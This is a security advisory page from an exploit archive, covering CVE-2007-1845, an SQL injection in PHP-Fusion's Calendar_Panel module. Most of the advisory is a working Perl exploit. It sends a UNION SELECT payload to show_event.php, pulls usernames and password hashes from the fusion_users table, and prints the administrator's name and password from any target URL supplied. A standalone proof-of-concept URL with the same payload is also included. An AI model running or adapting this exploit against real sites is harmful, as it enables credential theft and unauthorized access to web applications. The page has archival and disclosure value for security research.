|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | PHP-Fusion 'Calendar_Panel' Module show_event.PHP (m_month) SQL Injection Exploit And PoC
|
SecurityAlert : 2514
CVE : CVE-2007-1845
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : No
Exploit Available : Yes
Credit : UniquE
Published : 05.04.2007
Affected Software : | PHP-Fusion |
 Advisory Content : #!/usr/bin/perl -w
# PHP-Fusion 'Calendar_Panel' Module show_event.PHP (m_month) SQL Injection
Exploit And PoC
# Type :
# SQL Injection
# Release Date :
# {2007-03-31}
# Product :
# http://php-fusion.co.uk/
# Bug :
# http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0
# PoC :
# http://localhost/script/infusions/calendar_panel/show_event.php?m_month=
-1/**/UNION/**/SELECT/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/*
*/FROM/**/fusion_users/*
use LWP::Simple;
if(!$ARGV[0] or !($ARGV[0]=~m/http/))
{
print "n-----------------------------------n";
print "PHP-Fusion 'Calendar_Panel' Module (m_month) SQL Injection
Exploitn";
print "-----------------------------------n";
print "nUniquE-Key{UniquE-Cracker}n";
print "UniquE[at]UniquE-Key.ORGn";
print "http://UniquE-Key.ORGn";
print "n-----------------------------------n";
print "nUsage: $0 <server/path>n";
print "Examp: $0 http://www.victim.com/pathn";
print "n-----------------------------------n";
exit ();
}
$address=q[/infusions/calendar_panel/show_event.php?m_month=-1/**/UNION/
**/SELECT/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fu
sion_users/*];
$xmie=get($ARGV[0].$address) || die "n# Web page not found : $!";
print "n# Connect to : $ARGV[0]n";
$xmie=~m/<td width='98%' colspan='4' class='textbox'>(.*?)</td>/ && print
"n# Admin name : $1n";
print "n# Exploit Failedn" if(!$1);
$xmie=~m/<b>(.*?)</b></font></td>/ && print "n# Password : $1n";
# Author :
# UniquE-Key{UniquE-Cracker}
# UniquE(at)UniquE-Key.Org
# http://www.UniquE-Key.Org
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|